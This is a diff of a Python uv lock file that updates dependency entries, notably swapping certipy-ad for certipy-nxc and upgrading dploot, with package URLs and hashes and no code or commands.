{ url = "https://files.pythonhosted.org/packages/de/dc/f434e3517d61f8a3d9c19bb2f615942ae0888d35dd1ab8a8f39dbf4014fa/arc4-0.5.0-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:ac5e9c3a589825afd31a10b6edd49bc8fe83ca88b4dc82dea6e977304304d36c", size = 10053, upload-time = "2026-04-05T13:22:26.246Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/dd/6e/782c46bfc80ca5afd2fc29d5d611a1db9172759aa7d0e538517d6c8a96b3/arc4-0.5.0-cp313-cp313-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:b8bcb09611b9e16a3f9d78b747c135386b59803a3fdecf4e7ff03eb3949e671b", size = 17706, upload-time = "2026-04-05T13:22:27.344Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/df/f7/f7a9473114eead7cdb1419eaab156ad767218be748a47922117cfa1167c1/arc4-0.5.0-cp313-cp313-win_amd64.whl", hash = "sha256:6fb7f6a7b16bc6fc3ed1eefaaa201810edec0e7dc08683970b2be0699b401e39", size = 10095, upload-time = "2026-04-05T13:22:28.12Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ec/e3/14bd4e0a24dc0f18f2236e40706899784d92059268c8039d32544ff9969a/arc4-0.5.0-pp310-pypy310_pp73-macosx_11_0_arm64.whl", hash = "sha256:cc0f6c9827d5f36a838cefbb3705ce1c6850df456d0e5b81c24733f857f3901d", size = 6901, upload-time = "2026-04-05T13:22:31.401Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bf/08/0bf1fe83abaf7c877490ef2b550f503cb865a80bab6c2f868e07843a17bd/arc4-0.5.0-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:e3f9144cad18c4cdf8d02de1068504c045b29461c511963e4a495ffb61af1148", size = 10087, upload-time = "2026-04-05T13:22:32.291Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/1d/f6/642e3b07a2db870354cfaad91535205455f09a03f4eeee82f72a37634662/arc4-0.5.0-pp311-pypy311_pp73-macosx_11_0_arm64.whl", hash = "sha256:ccbed58bff2ce25b45535173221091b86162727caca66f4e383221f8b306113a", size = 6902, upload-time = "2026-04-05T13:22:33.147Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a6/80/12056b7138febb2e6c1294801ed7d072908ace2df58e0feed9347e3d9df4/arc4-0.5.0-pp311-pypy311_pp73-manylinux1_x86_64.manylinux_2_28_x86_64.manylinux_2_5_x86_64.whl", hash = "sha256:02435fe04cf147aff25a9be5380b16d6084f2469f51620b5fa3af936a6988c51", size = 8431, upload-time = "2026-04-05T13:22:33.896Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/17/ad/93ff0cb1be94d16357bdaf65fbe1f9c3dc33eb980a08af2c349bef71a43d/arc4-0.5.0-pp311-pypy311_pp73-win_amd64.whl", hash = "sha256:0c47bb37a5b80abcb7043d6b206068e4fbc90d27564aa667b2e7d90b2e7ff2cc", size = 10159, upload-time = "2026-04-05T13:22:35.025Z" },
|
||||
@@ -266,17 +268,6 @@ version = "8.22.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/8d/13/d8b56ef2e6b6ae2cc1b23e509ea7cc8d3423aa0d8a7d7634c23c0bf845e2/bitstruct-8.22.1.tar.gz", hash = "sha256:97588318c906c60d33129e0061dd830b03d793c517033d312487c75426d1e808", size = 35616, upload-time = "2026-02-17T14:14:23.296Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/67/c9/a6a74c645b8a8d151c9bc0830a66a20e293fecfddbe37f4d8f3e0fa12819/bitstruct-8.22.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:9c250d8dbd6350dfd73cf4bccab700122072388bd388d284ada37149eeb49979", size = 37862, upload-time = "2026-02-17T14:12:58.826Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/4e/c8/09a16455af0941635cf2f37c18a43d9bc7529e02f8b591c6c265c084ccdd/bitstruct-8.22.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:7fb40f50be4e60cb7a345ca4ceb16afcbcfecfa7cedf1cded44b8e1d8b8c3109", size = 38387, upload-time = "2026-02-17T14:13:00.389Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c8/30/e66995833d4d9c01e74371a7e8a2ed0ee0d4d9f7eeb3e5de3603d3101862/bitstruct-8.22.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:8ebcc2ad3b9addd4a6a409481754c78ade65a8d24a4d34352e37df9b48aeabea", size = 80590, upload-time = "2026-02-17T14:13:01.712Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/79/3c/adaaeb93f37958221152ea6af85b10cef71b9c57a3481ad589540aff012e/bitstruct-8.22.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:ec4d4e8308b3098e4de43f7ccd05d626bf2e4b650bea2b5fec9581f7bd7b4d01", size = 84216, upload-time = "2026-02-17T14:13:02.666Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d8/2f/29022203b6c93a609e4e8f8ec5e92594522bc82a59bc2528415f3af65e73/bitstruct-8.22.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:8e44c42bbfa9540a3df261c9a9613a88e5e5df0ad3931bcc76b9f1cc215f4ece", size = 79627, upload-time = "2026-02-17T14:13:04.038Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/28/ef/662577f57c11cf82926a9aa2081b798d5981fee759eb74439a3390218c66/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:8140c51b2e663d0efba9a6f5a77be4f26f3e147e65579be83f7c9b370df56cbe", size = 79775, upload-time = "2026-02-17T14:13:05.645Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/55/62/7d347087e330822cd433ce1e49dc049c5b26444cc8900d3436d2ddea5a27/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:f7e6bff01ea3765d28d8e426b49e6a0e4f581a4d47329f54d3a83f3f0c23380e", size = 75893, upload-time = "2026-02-17T14:13:06.537Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a7/4c/6b0e029339280377413c920f49114163d82fa4324703d877ac62637f9156/bitstruct-8.22.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:9430cc3849c24549578210c3e185427d01bc48734acaa9d7d17a767b19719381", size = 79025, upload-time = "2026-02-17T14:13:07.446Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/bc/f6bb7e709a6b40a857d41be272b4e251a497e1aad73334c8d279f72abfb3/bitstruct-8.22.1-cp310-cp310-win32.whl", hash = "sha256:9a00e7077c81318a2d7aea6a5e2988301ef316621136ddede68b4a361afc7581", size = 34806, upload-time = "2026-02-17T14:13:08.371Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/29/21/16ebf2b053e3e890f02435800ac6acc369e3a5c51e3b2b7304a23faf19cc/bitstruct-8.22.1-cp310-cp310-win_amd64.whl", hash = "sha256:43e3d8113263894e2ca107d2f7376f2767cb880a6f9952b0f66087545a230994", size = 36860, upload-time = "2026-02-17T14:13:09.264Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/02/04/63f9b2569aaf89db734b685388cb6676f958f7fb4ba5566555a2c79f5fb8/bitstruct-8.22.1-cp310-cp310-win_arm64.whl", hash = "sha256:86f68adf8945b80007cfed2318277fc2d5de5fb253d7df5d7a703dc10b54e149", size = 35704, upload-time = "2026-02-17T14:13:10.055Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/bd/48/7eae09e61478167ab084c503e384e203271c04213828db830af835fa8997/bitstruct-8.22.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:a4d235cbdba2df0747d4e4a6a6d3d46505cc2b52b16e9d3d4431423401c565f6", size = 37853, upload-time = "2026-02-17T14:13:10.965Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/58/5a/4a4790504f98328f5576f6b27d4366da4fcd00cf7d5e6871b546730905b5/bitstruct-8.22.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:7b3c29ee922e68538c575667bdc924e3ef09d21da94fd48a4a430f9c32c70997", size = 38380, upload-time = "2026-02-17T14:13:12.322Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/13/7b/156d71cb6b99e7b4e9802a1853a0f1dbdab5b4090c90eaee8eae1aa0371b/bitstruct-8.22.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:7a493a66fac64f989f3c8043e40f9ceb6b8169592c7e5a9d37a1409f00cb757a", size = 82235, upload-time = "2026-02-17T14:13:13.385Z" },
|
||||
@@ -386,9 +377,9 @@ wheels = [
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "certipy-ad"
|
||||
version = "5.1.0"
|
||||
source = { git = "https://github.com/Pennyw0rth/Certipy#069e03113095aa02772aa3d8debea90654933fe4" }
|
||||
name = "certipy-nxc"
|
||||
version = "5.1.0.post1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "argcomplete" },
|
||||
{ name = "asn1crypto" },
|
||||
@@ -402,6 +393,10 @@ dependencies = [
|
||||
{ name = "pycryptodome" },
|
||||
{ name = "requests" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/db/b8/ebf0f6f0a3d54d7c309a58d692f54532edbc62d8358ea56dadd22ef8b041/certipy_nxc-5.1.0.post1.tar.gz", hash = "sha256:fb11ca11bcf2e1e7eb060e2c7a7ba78699baeafabb23598dd3770b61d07b75b8", size = 159110, upload-time = "2026-10-14T16:14:49.169Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/83/6e/5b1c9ceaf7b6092dfe50705af3b1eb5e239115d1044a162a3933a3fa24dc/certipy_nxc-5.1.0.post1-py3-none-any.whl", hash = "sha256:27620fdd7a7a44f5ea7d537732a8022d20dd02f7fcd76e2d7fff84daab43ecb0", size = 181768, upload-time = "2026-10-14T16:14:47.58Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cffi"
|
||||
@@ -412,18 +407,6 @@ dependencies = [
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/9e/ef/008a1939e372c06329a3fce4279c02f328488f3526744906eeec3da7ad5f/cffi-2.1.1.tar.gz", hash = "sha256:dd31f52ea1086513bb9df30f8fcee9b8918323ae067a3d5b78bc826a000712be", size = 530807, upload-time = "2026-08-03T21:21:18.939Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b6/d2/2cde336b375f55c76ca670f0be3978cc048e31e24f3b4d7ce8473150a388/cffi-2.1.1-cp310-cp310-macosx_10_15_x86_64.whl", hash = "sha256:baed1e86cc735622097354b9d1281406caf42ff42a886d29faa8e8d1630333be", size = 183779, upload-time = "2026-08-03T21:19:15.602Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/94/1a/4b2f7c92293ba05cbd4a9a1b28faaf0326272d9488e6354657571c48a7aa/cffi-2.1.1-cp310-cp310-macosx_11_0_arm64.whl", hash = "sha256:ca82be1a1d406ecfe1d25dc16cb33488e5a16bf4438c9fb590484ea29d92478b", size = 184178, upload-time = "2026-08-03T21:19:16.67Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/17/0b/ba385d8ccedf926c3cd06e8e2f327027da5afe5f0eb30f1f7bc43ac55125/cffi-2.1.1-cp310-cp310-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:42e2f76b9455f5a9a844f770bf3e200ed3da0e15f5df3db9c31fe80b04b3d004", size = 211037, upload-time = "2026-08-03T21:19:17.705Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a3/b9/0f2e58b2cefa33255bff36935d42b13180fe559bba82596540eb404bde7d/cffi-2.1.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.whl", hash = "sha256:5a59cc1c4442bc3d5c703bf720b51138d0bfc173618807c9ee2490a7541dd3d9", size = 218652, upload-time = "2026-08-03T21:19:18.735Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/37/15/180e0dab27b9312c7479003d14c9e547634b7dcb934e2cc4650e1b131a7a/cffi-2.1.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.whl", hash = "sha256:9f8d177621de5cb38ee3e731eda45d421db093ec0739f46a5594babda7987a98", size = 205422, upload-time = "2026-08-03T21:19:19.96Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/18/d4/03026f0c850cbbaa9030750490225b4a7f4d524ea4df72c3cc740a90f4ef/cffi-2.1.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.whl", hash = "sha256:75f80557d1389eddbd0de2681f6a390a0c5338c31ddaa821381c203fc3fd50d9", size = 205444, upload-time = "2026-08-03T21:19:21.246Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/75/77/60bebf6f818bec84210ac5b6979ce4eeadce6fbbaabc9c7ab23e506d1ce5/cffi-2.1.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.whl", hash = "sha256:194cffa889098ced9976c3fc6340305e43f6303657d298da55366907c05c22d6", size = 218742, upload-time = "2026-08-03T21:19:22.523Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b0/ae/679bf47e73fd77b352171727f07de559a003f14de5d02b904a6ec1fa73ca/cffi-2.1.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:5bb4e7ea95dcd6a014a6fef62e62467d67d8e582326443f3d68e71d6320a9fcf", size = 221054, upload-time = "2026-08-03T21:19:23.694Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/09/b8/eefc0e06913b70aa153bf74c946094a18f58fd4aff11b7f372bfdfdca050/cffi-2.1.1-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:3d22a20b1fb1632cc72c22f95f7b0d2961c3e1c235f245ba4c606c4771035659", size = 213489, upload-time = "2026-08-03T21:19:24.922Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6f/13/4e56852824a03cdf68523a35686f1c28eacd4bd30a7b0a78e682e6e6e1d3/cffi-2.1.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:1dea0e4d7d4f11f619fe8c1d76caf49e24405b4b5743c0e3be16a500ecd930c9", size = 220241, upload-time = "2026-08-03T21:19:26.214Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/99/7f/040f9e163e4acac3ee3d85b02d00b2576e7ca980d8785f0a3a5f1a9bf7f5/cffi-2.1.1-cp310-cp310-win32.whl", hash = "sha256:7ce713ace7c0e4520535b42b77eaa742c16dab813978064913e5a3cf82973b41", size = 174578, upload-time = "2026-08-03T21:19:27.338Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ba/0b/644a2ec1a4eaba49c2939410bb1eb1d25b09d6d0582f5d2f95c537043725/cffi-2.1.1-cp310-cp310-win_amd64.whl", hash = "sha256:a48d62ab9d6f4f98c983223a547af44be6ca3691074c31cecced6facd3ba2dc1", size = 185082, upload-time = "2026-08-03T21:19:28.409Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/70/d2/16d99a0c4948febc0ebd133a13b2f688ff7f8cb04da971e1128872ce0c03/cffi-2.1.1-cp311-cp311-macosx_10_15_x86_64.whl", hash = "sha256:c8d2c9fd1f2d16f780d15127abb050d13d1a76c03a4bd87d7e4980e45e511e12", size = 183838, upload-time = "2026-08-03T21:19:29.637Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/cd/95/31b535a9f0220ae9f357de4a08d57ce89cb417653c2fd9f075f50822a388/cffi-2.1.1-cp311-cp311-macosx_11_0_arm64.whl", hash = "sha256:398aff33cee2767e3e781d2554c54bd0dff386bb437581e0d8011fde1a942ec1", size = 184168, upload-time = "2026-08-03T21:19:30.764Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ad/5a/4707a0dc1f203f5dde5a907b0d4e3c25d71120241048bd5bc6f1bb9d4e71/cffi-2.1.1-cp311-cp311-manylinux1_i686.manylinux2014_i686.manylinux_2_17_i686.manylinux_2_5_i686.whl", hash = "sha256:154852545011f779917b11c78db2358d095da62a9a172b78ad0a583ee5adc0d0", size = 211805, upload-time = "2026-08-03T21:19:31.867Z" },
|
||||
@@ -519,22 +502,6 @@ version = "3.5.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/e5/3f/143b048436775b0f76ac3eec145c019e8173ccc2885c8f20319b996d5e83/charset_normalizer-3.5.1.tar.gz", hash = "sha256:6117b84ea48435e5356dc737f5121485c30920ba43375fa7b434fd753df0eac3", size = 171764, upload-time = "2026-08-15T08:20:44.807Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/71/aa/554e2614f38fc34c58ff1d0911ae8535ad2516440d5482d76fe59f1088b0/charset_normalizer-3.5.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:d1ee1e296209fdce05b81b663250eefa02213a2da7b41bf26f7829b8ba3545aa", size = 369072, upload-time = "2026-08-15T08:16:22.964Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/03/6d/439231dfc3ccfa6f8c06477b7da2219cbd41a2de3d49084df8ec7b5100f2/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:e9fbdce1e47394b09bc9f26ab117dfc8d6491977a11d86f592bb42c779db2fda", size = 251142, upload-time = "2026-08-15T08:16:24.81Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/55/53/7d819bd23a00ef45039146fa2cce1daa2f0771e758c5653ee1f6edac91ed/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:00668ebb0609751758682eb0b5857e7c35b9f00e84dfdef062e103244ec94d45", size = 240714, upload-time = "2026-08-15T08:16:26.392Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b2/2c/45847198c16f4b38090cc7423b2b6a9008e438704d8ab413211832498d31/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_ppc64le.manylinux_2_17_ppc64le.manylinux_2_28_ppc64le.whl", hash = "sha256:ba2f37ee79e6338845261a3c5b1784e5d1acdff2c0785b284f1b633033d136ab", size = 279637, upload-time = "2026-08-15T08:16:27.961Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/69/2b/d8be3523ddf9f0b0f3e56d1359034aa10653a4d11564c697f802b4775766/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_s390x.manylinux_2_17_s390x.manylinux_2_28_s390x.whl", hash = "sha256:ce854f5f478050ade5a238731c4ca985a7d3b3cb53ff600a9b5c3b689b5f0a7a", size = 276543, upload-time = "2026-08-15T08:16:29.399Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/32/cd/4f564b8f132de25db594efc706897069f016790cea63a5669c9df2675f64/charset_normalizer-3.5.1-cp310-cp310-manylinux2014_x86_64.manylinux_2_17_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:96eefc178f8636b9c760c5829345307fd81cfae9ab1e80997dbddeb0f54ee9a3", size = 261644, upload-time = "2026-08-15T08:16:30.722Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/f5/e3/38b975422534a608f98c360e79c2f07c763d66dd4272300d45fb1fee54b0/charset_normalizer-3.5.1-cp310-cp310-manylinux_2_31_riscv64.manylinux_2_39_riscv64.whl", hash = "sha256:366ec70f5547c640d3ce1985722490f23faf4eb5216a7eeba78277490e78dacb", size = 259609, upload-time = "2026-08-15T08:16:32.248Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/87/bd/fbc24d825c66f1c74f6ccdea3742c3d8354a4888e86d1315a197fee69061/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:950f23cb393f85543777b0433f082cddd25b51ab398eac7971146495679efe5f", size = 252457, upload-time = "2026-08-15T08:16:33.849Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/2d/918d0e98a0e679469ed05bb2d90c2088b4d315bb612969d8499f76fb5210/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:c1dcc36dcb96abc02236e182d17e0f71430152a6c2c7447421da2d2dc144edea", size = 242240, upload-time = "2026-08-15T08:16:35.396Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/20/c8/c36f6e0b2dfec351bd38cbc05362697e58bcd073d7dbd95154290c9714ce/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:07ffd07412fc5d5e84cd8952acf9ff7e4ed7a708e69d1bada19d8ba91711353f", size = 280308, upload-time = "2026-08-15T08:16:36.825Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/ca/7b/311b3e02e8c4092400c449c850a760d8c45d900983c83a70cc07208c551d/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_riscv64.whl", hash = "sha256:f5542f9b941279d82d41eb0aa9f98eba36fe4df5c7086c651df7944935b37182", size = 258679, upload-time = "2026-08-15T08:16:38.22Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b9/90/082cc45599c392f28c036a497f49e0634041a785fc3849c80ccf396d096f/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:a545775cfe815855ea32d7c27731d79da358ef2055b4a25830231b1622dd18aa", size = 277221, upload-time = "2026-08-15T08:16:39.62Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/58/ad/b9aecf38d805cbcf84fa94f14c5d972a16561e20296a11dc799a5dcf3763/charset_normalizer-3.5.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:494b70049a4d69aec6e8137c13af4cf8db8c9f9820a1392ac293b0dd2987a818", size = 263799, upload-time = "2026-08-15T08:16:40.885Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/b7/23/b38a20598d5a825f85d9d7636860e56ff0db1479f86497a6e485aa9326f7/charset_normalizer-3.5.1-cp310-cp310-win32.whl", hash = "sha256:94fbf1c0c6cc0d3d5e50f9a9313a8cdca90dd696d34b381cd1704f8c9e939f20", size = 182037, upload-time = "2026-08-15T08:16:42.198Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d2/21/83fffb77864408b8bf0fe1ca603926401d6f8775a8e150b39aacc9958f8a/charset_normalizer-3.5.1-cp310-cp310-win_amd64.whl", hash = "sha256:be47f99644b208bff7766314013f9acf57b056b04191d570d68ad14022cf5b1d", size = 206030, upload-time = "2026-08-15T08:16:43.787Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/86/2e/b93135b5034b1157fb29554b0d06d4844ce62282f0e0a14036f93d7ee2e7/charset_normalizer-3.5.1-cp310-cp310-win_arm64.whl", hash = "sha256:a6d095662e73e74f0a49988e0593373e243e3a52e27bfeea0a859e88acf4a0f5", size = 185092, upload-time = "2026-08-15T08:16:45.177Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/6a/b6/034f6802e9c3f6418966cfabb7db8c9252cc2429c5098f41cc43af804149/charset_normalizer-3.5.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:eda059b6bc8bc0812d626fd91a7ce01bf583df0a61296eff390fd94141a34e30", size = 363585, upload-time = "2026-08-15T08:16:46.646Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d5/fa/6a7e2a7c4b5451912b8c417732df79574354443592a88d616de03da66ae5/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_aarch64.manylinux_2_17_aarch64.manylinux_2_28_aarch64.whl", hash = "sha256:aa2bb0b37202dca27175591f761108b5d34096ade1191ffe4808bdf6b1571488", size = 251189, upload-time = "2026-08-15T08:16:48.287Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a4/c8/ab42b07cfd82e919f427fcfaa7c41abae8242833ad1aad66d42bae40b669/charset_normalizer-3.5.1-cp311-cp311-manylinux2014_armv7l.manylinux_2_17_armv7l.manylinux_2_31_armv7l.whl", hash = "sha256:0b2b1b3fa5670c127b246df1d0c059defd41f689a868a3b9d79df9b1cac42d22", size = 239724, upload-time = "2026-08-15T08:16:49.67Z" },
|
||||
@@ -729,10 +696,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/fd/2b/be327b580645927bb1a1f32d5a175b897a9b956bc085b095e15c40bac9ed/cryptography-42.0.8-cp39-abi3-musllinux_1_2_x86_64.whl", hash = "sha256:b297f90c5723d04bcc8265fc2a0f86d4ea2e0f7ab4b6994459548d3a6b992a14", size = 3938751, upload-time = "2024-06-04T19:54:37.837Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/3c/d5/c6a78ffccdbe4516711ebaa9ed2c7eb6ac5dfa3dc920f2c7e920af2418b0/cryptography-42.0.8-cp39-abi3-win32.whl", hash = "sha256:2f88d197e66c65be5e42cd72e5c18afbfae3f741742070e3019ac8f4ac57262c", size = 2439281, upload-time = "2024-06-04T19:53:55.903Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a2/7b/b0d330852dd5953daee6b15f742f15d9f18e9c0154eb4cfcc8718f0436da/cryptography-42.0.8-cp39-abi3-win_amd64.whl", hash = "sha256:fa76fbb7596cc5839320000cdd5d0955313696d9511debab7ee7278fc8b5c84a", size = 2886038, upload-time = "2024-06-04T19:54:18.707Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/a3/fe/1e21699f0a7904e8a30d4fc6db262958f1edf5e505a02e7d97a5b419e482/cryptography-42.0.8-pp310-pypy310_pp73-macosx_10_12_x86_64.whl", hash = "sha256:ba4f0a211697362e89ad822e667d8d340b4d8d55fae72cdd619389fb5912eefe", size = 3014449, upload-time = "2024-06-04T19:54:40.379Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/d5/f3/61b398b5ec61f4b6ffbf746227df7ebb421696458d9625d634043f236a13/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:81884c4d096c272f00aeb1f11cf62ccd39763581645b0812e99a91505fa48e0c", size = 3558533, upload-time = "2024-06-04T19:54:42.123Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/c1/e2/60b05e720766e185ef097d07068bd878a51d613ef91e4c241750f9c9192b/cryptography-42.0.8-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:c9bb2ae11bfbab395bdd072985abde58ea9860ed84e59dbc0463a5d0159f5b71", size = 3759330, upload-time = "2024-06-04T19:54:09.258Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/10/38/2c8dae407d301eaf942e377a5b2b30485cfa0df03c6c2dcc2ac044054ed9/cryptography-42.0.8-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:7016f837e15b0a1c119d27ecd89b3515f01f90a8615ed5e9427e30d9cdbfed3d", size = 2801764, upload-time = "2024-06-04T19:54:25.455Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -746,17 +709,19 @@ wheels = [
|
||||
|
||||
[[package]]
|
||||
name = "dploot"
|
||||
version = "3.2.2"
|
||||
version = "4.1.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "cryptography" },
|
||||
{ name = "impacket" },
|
||||
{ name = "lxml" },
|
||||
{ name = "pick" },
|
||||
{ name = "pyasn1" },
|
||||
{ name = "pypsrp" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/80/b1/40295eaf9ac7ab4c93a2568356971480d335b410cf67075064cb4e9ddaec/dploot-3.2.2.tar.gz", hash = "sha256:3f6acf90113ad076be9b59ea4142d0de4d910d4ae8f99a744d47cf010352d3a8", size = 68524, upload-time = "2026-03-13T16:27:31.139Z" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/fa/6c/52dee037768f5d940b5ae410d80fd431fef7d210d7f9af83caeb871e88f9/dploot-4.1.1.tar.gz", hash = "sha256:aaf4e4cf581c980e888d5d53a46d6c4e39faa1e51374f699342768f39bb24248", size = 72339, upload-time = "2026-09-14T13:55:44.529Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/81/96/4f81066afd9dc958c3cea89a3dc371c94cc651d528853545cf3a54bade7c/dploot-3.2.2-py2.py3-none-any.whl", hash = "sha256:8c7e436f382af7ae46642b8dbb91a4aa0818a2556c3ef802197ffd95ba9c8ea9", size = 93718, upload-time = "2026-03-13T16:27:29.83Z" },
|
||||
{ url = "https://files.pythonhosted.org/packages/19/c0/ede1a114ca34556b2c44844627e043336cb68a76817253682f6d96535fbb/dploot-4.1.1-py3-none-any.whl", hash = "sha256:5fbca4076f0526ddd37f82a9b62a7a60ec72f7b674601e6c501a40164a542b1a", size = 101304, upload-time = "2026-09-14T13:55:45.849Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
@@ -771,18 +736,6 @@ wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/f0/29/41a6937ecc61812d09b9177a09c6f4a3edc499c0e227180d572a23e24e7b/dsinternals-1.2.5-py3-none-any.whl", hash = "sha256:25c544558381a86644fc6ef3b131f2a7450675b35e324553cb414b696d86d7bd", size = 200448, upload-time = "2026-02-01T20:43:59.674Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "exceptiongroup"
|
||||
version = "1.3.1"
|
